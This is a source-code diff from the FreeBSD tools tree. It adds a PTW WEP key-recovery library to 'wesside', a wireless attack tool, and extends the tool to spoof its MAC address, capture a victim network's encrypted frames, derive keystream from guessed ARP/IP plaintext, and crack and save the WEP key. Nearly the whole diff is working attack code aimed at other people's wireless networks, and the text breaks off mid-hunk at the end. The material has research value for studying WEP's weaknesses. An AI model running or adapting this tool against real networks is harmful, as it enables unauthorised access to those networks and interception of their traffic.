diff options
Diffstat (limited to 'tools')
-rw-r--r-- | tools/tools/net80211/wesside/wesside/Makefile | 1 | ||||
-rw-r--r-- | tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c | 488 | ||||
-rw-r--r-- | tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h | 83 | ||||
-rw-r--r-- | tools/tools/net80211/wesside/wesside/wesside.c | 500 |
4 files changed, 909 insertions, 163 deletions
diff --git a/tools/tools/net80211/wesside/wesside/Makefile b/tools/tools/net80211/wesside/wesside/Makefile index da912e9..58f1855 100644 --- a/tools/tools/net80211/wesside/wesside/Makefile +++ b/tools/tools/net80211/wesside/wesside/Makefile @@ -6,5 +6,6 @@ DPADD= ${LIBZ} LDADD= -lz CFLAGS=-g NO_MAN= +SRCS=wesside.c aircrack-ptw-lib.c .include <bsd.prog.mk> diff --git a/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c new file mode 100644 index 0000000..99db7c5 --- /dev/null +++ b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.c @@ -0,0 +1,488 @@ +/*- + * Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include <string.h> +#include <stdio.h> +#include <stdlib.h> +#include "aircrack-ptw-lib.h" + + +#define n PTW_n +#define CONTROLSESSIONS PTW_CONTROLSESSIONS +#define KEYHSBYTES PTW_KEYHSBYTES +#define KSBYTES PTW_KSBYTES +#define IVBYTES PTW_IVBYTES +#define TESTBYTES 6 + + +// Internal state of rc4 +typedef struct { + uint8_t i; + uint8_t j; + uint8_t s[n]; +} rc4state; + + +// Helper structures for sorting +typedef struct { + int keybyte; + uint8_t value; + int distance; +} sorthelper; + +typedef struct { + int keybyte; + double difference; +} doublesorthelper; + +// The rc4 initial state, the idendity permutation +static const uint8_t rc4initial[] = +{0,1,2,3,4,5,6,7,8,9,10, +11,12,13,14,15,16,17,18,19,20, +21,22,23,24,25,26,27,28,29,30, +31,32,33,34,35,36,37,38,39,40, +41,42,43,44,45,46,47,48,49,50, +51,52,53,54,55,56,57,58,59,60, +61,62,63,64,65,66,67,68,69,70, +71,72,73,74,75,76,77,78,79,80, +81,82,83,84,85,86,87,88,89,90, +91,92,93,94,95,96,97,98,99,100, +101,102,103,104,105,106,107,108,109,110, +111,112,113,114,115,116,117,118,119,120, +121,122,123,124,125,126,127,128,129,130, +131,132,133,134,135,136,137,138,139,140, +141,142,143,144,145,146,147,148,149,150, +151,152,153,154,155,156,157,158,159,160, +161,162,163,164,165,166,167,168,169,170, +171,172,173,174,175,176,177,178,179,180, +181,182,183,184,185,186,187,188,189,190, +191,192,193,194,195,196,197,198,199,200, +201,202,203,204,205,206,207,208,209,210, +211,212,213,214,215,216,217,218,219,220, +221,222,223,224,225,226,227,228,229,230, +231,232,233,234,235,236,237,238,239,240, +241,242,243,244,245,246,247,248,249,250, +251,252,253,254,255}; + + +// Values for p_correct_i +static const double eval[] = { +0.00534392069257663, +0.00531787585068872, +0.00531345769225911, +0.00528812219217898, +0.00525997750378221, +0.00522647312237696, +0.00519132541143668, +0.0051477139367225, +0.00510438884847959, +0.00505484662057323, +0.00500502783556246, +0.00495094196451801, +0.0048983441590402}; + +// For sorting +static int compare(const void * ina, const void * inb) { + PTW_tableentry * a = (PTW_tableentry * )ina; + PTW_tableentry * b = (PTW_tableentry * )inb; + if (a->votes > b->votes) { + return -1; + } else if (a->votes == b->votes) { + return 0; + } else { + return 1; + } +} + +// For sorting +static int comparedoublesorthelper(const void * ina, const void * inb) { + doublesorthelper * a = (doublesorthelper * )ina; + doublesorthelper * b = (doublesorthelper * )inb; + if (a->difference > b->difference) { + return 1; + } else if (a->difference == b->difference) { + return 0; + } else { + return -1; + } +} + + +// RC4 key setup +static void rc4init ( uint8_t * key, int keylen, rc4state * state) { + int i; + int j; + uint8_t tmp; + memcpy(state->s, &rc4initial, n); + j = 0; + for (i = 0; i < n; i++) { + j = (j + state->s[i] + key[i % keylen]) % n; + tmp = state->s[i]; + state->s[i] = state->s[j]; + state->s[j] = tmp; + } + state->i = 0; + state->j = 0; +} + +// RC4 key stream generation +static uint8_t rc4update(rc4state * state) { + uint8_t tmp; + uint8_t k; + state->i++; + state->j += state->s[state->i]; + tmp = state->s[state->i]; + state->s[state->i] = state->s[state->j]; + state->s[state->j] = tmp; + k = state->s[state->i] + state->s[state->j]; + + return state->s[k]; +} + +// For sorting +static int comparesorthelper(const void * ina, const void * inb) { + sorthelper * a = (sorthelper * ) ina; + sorthelper * b = (sorthelper * ) inb; + if (a->distance > b->distance) { + return 1; + } else if (a->distance == b->distance) { + return 0; + } else { + return -1; + } +} + +/* + * Guess the values for sigma_i + * iv - IV which was used for this packet + * keystream - keystream recovered + * result - buffer for the values of sigma_i + * kb - how many keybytes should be guessed + */ +static void guesskeybytes(uint8_t * iv, uint8_t * keystream, uint8_t * result, int kb) { + uint8_t state[n]; + uint8_t j = 0; + uint8_t tmp; + int i; + int jj = IVBYTES; + uint8_t ii; + uint8_t s = 0; + memcpy(state, rc4initial, n); + for (i = 0; i < IVBYTES; i++) { + j += state[i] + iv[i]; + tmp = state[i]; + state[i] = state[j]; + state[j] = tmp; + } + for (i = 0; i < kb; i++) { + tmp = jj - keystream[jj-1]; + ii = 0; + while(tmp != state[ii]) { + ii++; + } + s += state[jj]; + ii -= (j+s); + result[i] = ii; + jj++; + } + return; +} + +/* + * Is a guessed key correct? + */ +static int correct(PTW_attackstate * state, uint8_t * key, int keylen) { + int i; + int j; + uint8_t keybuf[PTW_KSBYTES]; + rc4state rc4state; + + for (i = 0; i < state->sessions_collected; i++) { + memcpy(&keybuf[IVBYTES], key, keylen); + memcpy(keybuf, state->sessions[i].iv, IVBYTES); + rc4init(keybuf, keylen+IVBYTES, &rc4state); + for (j = 0; j < TESTBYTES; j++) { + if ((rc4update(&rc4state) ^ state->sessions[i].keystream[j]) != 0) { + return 0; + } + } + } + return 1; +} + +/* + * Calculate the squaresum of the errors for both distributions + */ +static void getdrv(PTW_tableentry orgtable[][n], int keylen, double * normal, double * ausreiser) { + int i,j; + int numvotes = 0; + double e; + double e2; + double emax; + double help = 0.0; + double maxhelp = 0; + double maxi = 0; + for (i = 0; i < n; i++) { + numvotes += orgtable[0][i].votes; + } + e = numvotes/n; + for (i = 0; i < keylen; i++) { + emax = eval[i] * numvotes; + e2 = ((1.0 - eval[i])/255.0) * numvotes; + normal[i] = 0; + ausreiser[i] = 0; + maxhelp = 0; + maxi = 0; + for (j = 0; j < n; j++) { + if (orgtable[i][j].votes > maxhelp) { + maxhelp = orgtable[i][j].votes; + maxi = j; + } + } + for (j = 0; j < n; j++) { + if (j == maxi) { + help = (1.0-orgtable[i][j].votes/emax); + } else { + help = (1.0-orgtable[i][j].votes/e2); + } + help = help*help; + ausreiser[i] += help; + help = (1.0-orgtable[i][j].votes/e); + help = help*help; + normal[i] += help; + } + } +} + +/* + * Guess a single keybyte + */ +static int doRound(PTW_tableentry sortedtable[][n], int keybyte, int fixat, uint8_t fixvalue, int * searchborders, uint8_t * key, int keylen, PTW_attackstate * state, uint8_t sum, int * strongbytes) { + int i; + uint8_t tmp; + if (keybyte == keylen) { + return correct(state, key, keylen); + } else if (strongbytes[keybyte] == 1) { + // printf("assuming byte %d to be strong\n", keybyte); + tmp = 3 + keybyte; + for (i = keybyte-1; i >= 1; i--) { + tmp += 3 + key[i] + i; + key[keybyte] = 256-tmp; + if(doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, (256-tmp+sum)%256, strongbytes) == 1) { + printf("hit with strongbyte for keybyte %d\n", keybyte); + return 1; + } + } + return 0; + } else if (keybyte == fixat) { + key[keybyte] = fixvalue-sum; + return doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, fixvalue, strongbytes); + } else { + for (i = 0; i < searchborders[keybyte]; i++) { + key[keybyte] = sortedtable[keybyte][i].b - sum; + if (doRound(sortedtable, keybyte+1, fixat, fixvalue, searchborders, key, keylen, state, sortedtable[keybyte][i].b, strongbytes) == 1) { + return 1; + } + } + return 0; + } +} + +/* + * Do the actual computation of the key + */ +static int doComputation(PTW_attackstate * state, uint8_t * key, int keylen, PTW_tableentry table[][n], sorthelper * sh2, int * strongbytes, int keylimit) { + int i,j; + int choices[KEYHSBYTES]; + int prod; + int fixat; + int fixvalue; + + for (i = 0; i < keylen; i++) { + if (strongbytes[i] == 1) { + choices[i] = i; + } else { + choices[i] = 1; + } + } + i = 0; + prod = 0; + fixat = -1; + fixvalue = 0; + + while(prod < keylimit) { + if (doRound(table, 0, fixat, fixvalue, choices, key, keylen, state, 0, strongbytes) == 1) { + // printf("hit with %d choices\n", prod); + return 1; + } + choices[sh2[i].keybyte]++; + fixat = sh2[i].keybyte; + // printf("choices[%d] is now %d\n", sh2[i].keybyte, choices[sh2[i].keybyte]); + fixvalue = sh2[i].value; + prod = 1; + for (j = 0; j < keylen; j++) { + prod *= choices[j]; + } + do { + i++; + } while (strongbytes[sh2[i].keybyte] == 1); + + } + return 0; +} + + +/* + * Guess which key bytes could be strong and start actual computation of the key + */ +int PTW_computeKey(PTW_attackstate * state, uint8_t * keybuf, int keylen, int testlimit) { + int strongbytes[KEYHSBYTES]; + double normal[KEYHSBYTES]; + double ausreisser[KEYHSBYTES]; + doublesorthelper helper[KEYHSBYTES]; + int simple, onestrong, twostrong; + int i,j; + + onestrong = (testlimit/10)*2; + twostrong = (testlimit/10)*1; + simple = testlimit - onestrong - twostrong; + + PTW_tableentry (*table)[n] = alloca(sizeof(PTW_tableentry) * n * keylen); + if (table == NULL) { + printf("could not allocate memory\n"); + exit(-1); + } + memcpy(table, state->table, sizeof(PTW_tableentry) * n * keylen); + + // now, sort the table + for (i = 0; i < keylen; i++) { + qsort(&table[i][0], n, sizeof(PTW_tableentry), &compare); + strongbytes[i] = 0; + } + + sorthelper (* sh)[n-1] = alloca(sizeof(sorthelper) * (n-1) * keylen); + if (sh == NULL) { + printf("could not allocate memory\n"); + exit(-1); + } + + + for (i = 0; i < keylen; i++) { + for (j = 1; j < n; j++) { + sh[i][j-1].distance = table[i][0].votes - table[i][j].votes; + sh[i][j-1].value = table[i][j].b; + sh[i][j-1].keybyte = i; + } + } + qsort(sh, (n-1)*keylen, sizeof(sorthelper), &comparesorthelper); + + + if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, simple)) { + return 1; + } + + // Now one strong byte + getdrv(state->table, keylen, normal, ausreisser); + for (i = 0; i < keylen-1; i++) { + helper[i].keybyte = i+1; + helper[i].difference = normal[i+1] - ausreisser[i+1]; + } + qsort(helper, keylen-1, sizeof(doublesorthelper), &comparedoublesorthelper); + strongbytes[helper[0].keybyte] = 1; + if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, onestrong)) { + return 1; + } + + // two strong bytes + strongbytes[helper[1].keybyte] = 1; + if (doComputation(state, keybuf, keylen, table, (sorthelper *) sh, strongbytes, twostrong)) { + return 1; + } + + return 0; +} + +/* + * Add a new session to the attack + * state - state of attack + * iv - IV used in the session + * keystream - recovered keystream from the session + */ +int PTW_addsession(PTW_attackstate * state, uint8_t * iv, uint8_t * keystream) { + int i; + int il; + int ir; + uint8_t buf[PTW_KEYHSBYTES]; + + i = (iv[0] << 16) | (iv[1] << 8) | (iv[2]); + il = i/8; + ir = 1 << (i%8); + if ((state->seen_iv[il] & ir) == 0) { + state->packets_collected++; + state->seen_iv[il] |= ir; + guesskeybytes(iv, keystream, buf, PTW_KEYHSBYTES); + for (i = 0; i < KEYHSBYTES; i++) { + state->table[i][buf[i]].votes++; + } + if (state->sessions_collected < CONTROLSESSIONS) { + memcpy(state->sessions[state->sessions_collected].iv, iv, IVBYTES); + memcpy(state->sessions[state->sessions_collected].keystream, keystream, KSBYTES); + state->sessions_collected++; + } + return 1; + } else { + return 0; + } +} + +/* + * Allocate a new attackstate + */ +PTW_attackstate * PTW_newattackstate() { + int i,k; + PTW_attackstate * state = NULL; + state = malloc(sizeof(PTW_attackstate)); + if (state == NULL) { + return NULL; + } + bzero(state, sizeof(PTW_attackstate)); + for (i = 0; i < PTW_KEYHSBYTES; i++) { + for (k = 0; k < n; k++) { + state->table[i][k].b = k; + } + } + return state; +} + +/* + * Free an allocated attackstate + */ +void PTW_freeattackstate(PTW_attackstate * state) { + free(state); + return; +} + diff --git a/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h new file mode 100644 index 0000000..dcd30d7 --- /dev/null +++ b/tools/tools/net80211/wesside/wesside/aircrack-ptw-lib.h @@ -0,0 +1,83 @@ +/*- + * Copyright (c) 2007, Andrea Bittau <a.bittau@cs.ucl.ac.uk> + * All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * $FreeBSD$ + */ +#include <stdint.h> + +// Number of bytes we use for our table of seen IVs, this is (2^24)/8 +#define PTW_IVTABLELEN 2097152 + +// How many sessions do we use to check if a guessed key is correct +// 10 seems to be a reasonable choice +#define PTW_CONTROLSESSIONS 10 + +// The maximum possible length of the main key, 13 is the maximum for a 104 bit key +#define PTW_KEYHSBYTES 13 + +// How long the IV is, 3 is the default value for WEP +#define PTW_IVBYTES 3 + +// How many bytes of a keystream we collect, 16 are needed for a 104 bit key +#define PTW_KSBYTES 16 + +// The MAGIC VALUE!! +#define PTW_n 256 + +// We use this to keep track of the outputs of A_i +typedef struct { + // How often the value b appeard as an output of A_i + int votes; + + uint8_t b; +} PTW_tableentry; + +// A recovered session +typedef struct { + // The IV used in this session + uint8_t iv[PTW_IVBYTES]; + // The keystream used in this session + uint8_t keystream[PTW_KSBYTES]; +} PTW_session; + +// The state of an attack +// You should usually never modify these values manually +typedef struct { + // How many unique packets or IVs have been collected + int packets_collected; + // Table to check for duplicate IVs + uint8_t seen_iv[PTW_IVTABLELEN]; + // How many sessions for checking a guessed key have been collected + int sessions_collected; + // The actual recovered sessions + PTW_session sessions[PTW_CONTROLSESSIONS]; + // The table with votes for the keybytesums + PTW_tableentry table[PTW_KEYHSBYTES][PTW_n]; +} PTW_attackstate; + +PTW_attackstate * PTW_newattackstate(); +void PTW_freeattackstate(PTW_attackstate *); +int PTW_addsession(PTW_attackstate *, uint8_t *, uint8_t *); +int PTW_computeKey(PTW_attackstate *, uint8_t *, int, int); diff --git a/tools/tools/net80211/wesside/wesside/wesside.c b/tools/tools/net80211/wesside/wesside/wesside.c index 5845fef..a220d99 100644 --- a/tools/tools/net80211/wesside/wesside/wesside.c +++ b/tools/tools/net80211/wesside/wesside/wesside.c @@ -43,6 +43,9 @@ #include <signal.h> #include <stdarg.h> #include <err.h> +#include <pcap.h> + +#include "aircrack-ptw-lib.h" #define FIND_VICTIM 0 #define FOUND_VICTIM 1 @@ -104,11 +107,15 @@ struct wep_log { unsigned char iv[3]; } weplog; +#define LINKTYPE_IEEE802_11 105 +#define TCPDUMP_MAGIC 0xA1B2C3D4 + unsigned char* floodip = 0; unsigned short floodport = 6969; unsigned short floodsport = 53; unsigned char* netip = 0; +int netip_arg = 0; unsigned char* rtrmac = 0; @@ -118,6 +125,8 @@ unsigned char myip[16] = "192.168.0.123"; int bits = 0; int ttl_val = 0; +PTW_attackstate *ptw; + unsigned char *victim_mac = 0; int ack_timeout = 100*1000; @@ -125,10 +134,14 @@ int ack_timeout = 100*1000; #define ARPLEN (8+ 8 + 20) unsigned char arp_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x06"; unsigned char ip_clear[] = "\xAA\xAA\x03\x00\x00\x00\x08\x00"; +#define S_LLC_SNAP "\xAA\xAA\x03\x00\x00\x00" +#define S_LLC_SNAP_ARP (S_LLC_SNAP "\x08\x06") +#define S_LLC_SNAP_IP (S_LLC_SNAP "\x08\x00") #define MCAST_PREF "\x01\x00\x5e\x00\x00" -#define WEP_FILE "wep.log" +#define WEP_FILE "wep.cap" +#define KEY_FILE "key.log" #define PRGA_FILE "prga.log" unsigned int min_prga = 128; @@ -141,12 +154,14 @@ unsigned int min_prga = 128; */ #define CRACK_LOCAL_CMD "../aircrack/aircrack" #define CRACK_INSTALL_CMD "/usr/local/bin/aircrack" -int thresh_incr = 100000; + +#define INCR 30000 +int thresh_incr = INCR; #define MAGIC_TTL_PAD 69 int crack_dur = 60; -int wep_thresh = 100000; +int wep_thresh = INCR; int crack_pid = 0; struct timeval crack_start; struct timeval real_start; @@ -248,7 +263,7 @@ void check_key() { int rd; struct timeval now; - fd = open("key.log", O_RDONLY); + fd = open(KEY_FILE, O_RDONLY); if (fd == -1) { return; @@ -320,6 +335,31 @@ void set_chan(int c) { chaninfo.chan = c; } +void set_if_mac(unsigned char* mac, unsigned char *name) { + int s; + struct ifreq ifr; + + s = socket(PF_INET, SOCK_DGRAM, 0); + if (s == -1) { + perror("socket()"); + exit(1); + } + + memset(&ifr, 0, sizeof(ifr)); + strcpy(ifr.ifr_name, name); + + ifr.ifr_addr.sa_family = AF_LINK; + ifr.ifr_addr.sa_len = 6; + memcpy(ifr.ifr_addr.sa_data, mac, 6); + + if (ioctl(s, SIOCSIFLLADDR, &ifr) == -1) { + perror("ioctl(SIOCSIFLLADDR)"); + exit(1); + } + + close(s); +} + void setup_if(char *dev) { int s; struct ifreq ifr; @@ -334,6 +374,8 @@ void setup_if(char *dev) { time_print("Setting up %s... ", dev); fflush(stdout); + + set_if_mac(mymac, dev); s = socket(PF_INET, SOCK_DGRAM, 0); if (s == -1) { @@ -516,7 +558,7 @@ void send_frame(int tx, unsigned char* buf, int len) { time_print("ERROR Max retransmists for (%d bytes):\n", lastlen); hexdump(&lame[0], lastlen); - exit(1); +// exit(1); } len = lastlen; // printf("Warning doing a retransmit...\n"); @@ -752,28 +794,8 @@ int get_victim_ssid(struct ieee80211_frame* wh, int len) { return 0; } -// XXX: acks don't work for now... too slow! void send_ack(int tx) { - unsigned char buf[64]; - struct ieee80211_frame* wh; - - return; - - wh = (struct ieee80211_frame*) &buf[0]; - - memset(buf, 0, sizeof(buf)); - wh->i_fc[0] |= IEEE80211_FC0_TYPE_CTL | IEEE80211_FC0_SUBTYPE_ACK; - memcpy(wh->i_addr1, victim.bss, 6); - - inject(tx, buf, 10); -#if 0 - { - struct timeval tv; - gettimeofday(&tv, NULL); - - printf("sent ack %lu.%lu\n", tv.tv_sec, tv.tv_usec); - } -#endif + /* firmware acks */ } void do_llc(unsigned char* buf, unsigned short type) { @@ -1209,26 +1231,28 @@ void decrypt_arpreq(struct ieee80211_frame* wh, int rd) { time_print("Got ARP request from (%s)\n", mac2str(wh->i_addr3)); } -void log_wep(unsigned char* body, int len) { - unsigned char log[5]; +void log_wep(struct ieee80211_frame* wh, int len) { int rd; + struct pcap_pkthdr pkh; + struct timeval tv; + unsigned char *body = (unsigned char*) (wh+1); - if (body[3] != 0) { - time_print("Key index=%x!!\n", body[3]); - exit(1); - } - - memcpy(log, body, 3); - memcpy(&log[3], &body[4], 2); + memset(&pkh, 0, sizeof(pkh)); + pkh.caplen = pkh.len = len; + if (gettimeofday(&tv, NULL) == -1) + err(1, "gettimeofday()"); + pkh.ts = tv; + if (write(weplog.fd, &pkh, sizeof(pkh)) != sizeof(pkh)) + err(1, "write()"); - rd = write(weplog.fd, log, sizeof(log)); + rd = write(weplog.fd, wh, len); if (rd == -1) { perror("write()"); exit(1); } - if (rd != sizeof(log)) { - time_print("short write %d out of %d\n", rd, sizeof(log)); + if (rd != len) { + time_print("short write %d out of %d\n", rd, len); exit(1); } @@ -1337,10 +1361,107 @@ void try_dictionary(struct ieee80211_frame* wh, int len) { } } +int is_arp(struct ieee80211_frame *wh, int len) +{ + int arpsize = 8 + sizeof(struct arphdr) + 10*2; + + if (len == arpsize || len == 54) + return 1; + + return 0; +} + +void *get_sa(struct ieee80211_frame *wh) +{ + if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) + return wh->i_addr3; + else + return wh->i_addr2; +} + +void *get_da(struct ieee80211_frame *wh) +{ + if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) + return wh->i_addr1; + else + return wh->i_addr3; +} + +int known_clear(void *clear, struct ieee80211_frame *wh, int len) +{ + unsigned char *ptr = clear; + + /* IP */ + if (!is_arp(wh, len)) { + unsigned short iplen = htons(len - 8); + +// printf("Assuming IP %d\n", len); + + len = sizeof(S_LLC_SNAP_IP) - 1; + memcpy(ptr, S_LLC_SNAP_IP, len); + ptr += len; +#if 1 + len = 2; + memcpy(ptr, "\x45\x00", len); + ptr += len; + + memcpy(ptr, &iplen, len); + ptr += len; +#endif + len = ptr - ((unsigned char*)clear); + return len; + } +// printf("Assuming ARP %d\n", len); + + /* arp */ + len = sizeof(S_LLC_SNAP_ARP) - 1; + memcpy(ptr, S_LLC_SNAP_ARP, len); + ptr += len; + + /* arp hdr */ + len = 6; + memcpy(ptr, "\x00\x01\x08\x00\x06\x04", len); + ptr += len; + + /* type of arp */ + len = 2; + if (memcmp(get_da(wh), "\xff\xff\xff\xff\xff\xff", 6) == 0) + memcpy(ptr, "\x00\x01", len); + else + memcpy(ptr, "\x00\x02", len); + ptr += len; + + /* src mac */ + len = 6; + memcpy(ptr, get_sa(wh), len); + ptr += len; + + len = ptr - ((unsigned char*)clear); + return len; +} + +void add_keystream(struct ieee80211_frame* wh, int rd) +{ + unsigned char clear[1024]; + int dlen = rd - sizeof(struct ieee80211_frame) - 4 - 4; + int clearsize; + unsigned char *body = (unsigned char*) (wh+1); + int i; + + clearsize = known_clear(clear, wh, dlen); + if (clearsize < 16) + return; + + for (i = 0; i < 16; i++) + clear[i] ^= body[4+i]; + + PTW_addsession(ptw, body, clear); +} + void got_wep(struct ieee80211_frame* wh, int rd) { int bodylen; int dlen; - unsigned char *clear; + unsigned char clear[1024]; int clearsize; unsigned char *body; @@ -1355,7 +1476,12 @@ void got_wep(struct ieee80211_frame* wh, int rd) { ( (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) && memcmp(wh->i_addr2, mymac, 6) != 0) ) { - log_wep(body, dlen + 8); + if (body[3] != 0) { + time_print("Key index=%x!!\n", body[3]); + exit(1); + } + log_wep(wh, rd); + add_keystream(wh, rd); // try to decrypt too try_dictionary(wh, rd); @@ -1445,17 +1571,8 @@ void got_wep(struct ieee80211_frame* wh, int rd) { return; } - - time_print("Datalen=%d Assuming: ", dlen); - if (dlen == ARPLEN || dlen == PADDED_ARPLEN) { - clear = arp_clear; - clearsize = sizeof(arp_clear) - 1; - printf("ARP\n"); - } else { - clear = ip_clear; - clearsize = sizeof(ip_clear) - 1; - printf("IP\n"); - } + clearsize = known_clear(clear, wh, dlen); + time_print("Datalen %d Known clear %d\n", dlen, clearsize); set_prga(body, &body[4], clear, clearsize); } @@ -1495,58 +1612,12 @@ void stuff_for_net(struct ieee80211_frame* wh, int rd) { } void anal(unsigned char* buf, int rd, int tx) { // yze -#define BIT(n) (1<<(n)) - struct bpf_hdr* bpfh = (struct bpf_hdr*) buf; - struct ieee80211_radiotap_header* rth; - struct ieee80211_frame* wh; + struct ieee80211_frame* wh = (struct ieee80211_frame *) buf; int type,stype; static int lastseq = -1; int seq; unsigned short *seqptr; int for_us = 0; - uint32_t present; - uint8_t rflags; - - // BPF - rd -= bpfh->bh_hdrlen; - if (bpfh->bh_caplen != bpfh->bh_datalen) { - time_print("Warning: caplen=%d datalen=%d\n", - bpfh->bh_caplen, bpfh->bh_datalen); - } - - if (rd != bpfh->bh_caplen) { -#if 0 - // XXX - printf("Error: rd=%d caplen=%d\n", rd, bpfh->bh_caplen); - hexdump(buf, rd+bpfh->bh_hdrlen); -// exit(1); - return; -#endif - // XXX what's going on - assert( rd > bpfh->bh_caplen); - rd = bpfh->bh_caplen; - } - - // RADIOTAP - rth = (struct ieee80211_radiotap_header*) - ((unsigned char*) bpfh + bpfh->bh_hdrlen); - /* check if FCS/CRC is included in packet */ - present = le32toh(rth->it_present); - if (present & BIT(IEEE80211_RADIOTAP_FLAGS)) { - if (present & BIT(IEEE80211_RADIOTAP_TSFT)) - rflags = ((const uint8_t *)rth)[8]; - else - rflags = ((const uint8_t *)rth)[0]; - } else - rflags = 0; - /* 802.11 CRC */ - if (rflags & IEEE80211_RADIOTAP_F_FCS) - rd -= IEEE80211_CRC_LEN; - - // 802.11 - wh = (struct ieee80211_frame*) - ((unsigned char*)rth + rth->it_len); - rd -= rth->it_len; if (rd < 1) { time_print("rd=%d\n", rd); @@ -1606,7 +1677,6 @@ void anal(unsigned char* buf, int rd, int tx) { // yze stuff_for_net(wh, rd); } } -#undef BIT } void do_arp(unsigned char* buf, unsigned short op, @@ -1990,13 +2060,15 @@ void can_write(int tx) { char* ptr; strcpy(arp_ip, netip); - ptr = strchr(arp_ip, '.'); - assert(ptr); - ptr = strchr(++ptr, '.'); - assert(ptr); - ptr = strchr(++ptr, '.'); - assert(ptr); - strcpy(++ptr, "1"); + if (!netip_arg) { + ptr = strchr(arp_ip, '.'); + assert(ptr); + ptr = strchr(++ptr, '.'); + assert(ptr); + ptr = strchr(++ptr, '.'); + assert(ptr); + strcpy(++ptr, "1"); + } if (gettimeofday(&arpsend, NULL) == -1) err(1, "gettimeofday()"); @@ -2030,6 +2102,51 @@ void can_write(int tx) { } } +void save_key(unsigned char *key, int len) +{ + char tmp[16]; + char k[32]; + int fd; + int rd; + + k[0] = 0; + while (len--) { + sprintf(tmp, "%.2X", *key++); + strcat(k, tmp); + if (len) + strcat(k, ":"); + } + + fd = open(KEY_FILE, O_WRONLY | O_CREAT | 0644); + if (fd == -1) + err(1, "open()"); + + printf("\nKey: %s\n", k); + rd = write(fd, k, strlen(k)); + if (rd == -1) + err(1, "write()"); + if (rd != strlen(k)) + errx(1, "write %d/%d\n", rd, strlen(k)); + close(fd); +} + +#define KEYLIMIT (1000000) +int do_crack(void) +{ + unsigned char key[PTW_KEYHSBYTES]; + + if(PTW_computeKey(ptw, key, 13, KEYLIMIT) == 1) { + save_key(key, 13); + return 1; + } + if(PTW_computeKey(ptw, key, 5, KEYLIMIT/10) == 1) { + save_key(key, 5); + return 1; + } + + return 0; +} + void try_crack() { if (crack_pid) { printf("\n"); @@ -2049,35 +2166,8 @@ void try_crack() { // child if (crack_pid == 0) { - char bitz[16]; - char* args[] = { "aircrack", "wep.log", NULL }; - char* argb[] = { "aircrack", "-n", bitz, "wep.log", NULL }; - char* envp[] = { NULL }; - char **arg; - -#if 1 - if (setsid() == -1) - err(1, "setsid"); -#endif - - close (1); - close (2); - - if (bits > 0) { - snprintf(bitz, sizeof(bitz)-1, "%d", bits); - arg = argb; - } - else - arg = args; - - /* NB: try local copy first; then installed dir */ - if (execve(CRACK_LOCAL_CMD, arg, envp) == -1) { - if (errno != ENOENT) - err(1, "execve(%s)", CRACK_LOCAL_CMD); - if (execve(CRACK_INSTALL_CMD, arg, envp) == -1) - err(1, "execve(%s)", CRACK_INSTALL_CMD); - } - + if (!do_crack()) + printf("\nCrack unsuccessful\n"); exit(1); } @@ -2154,32 +2244,6 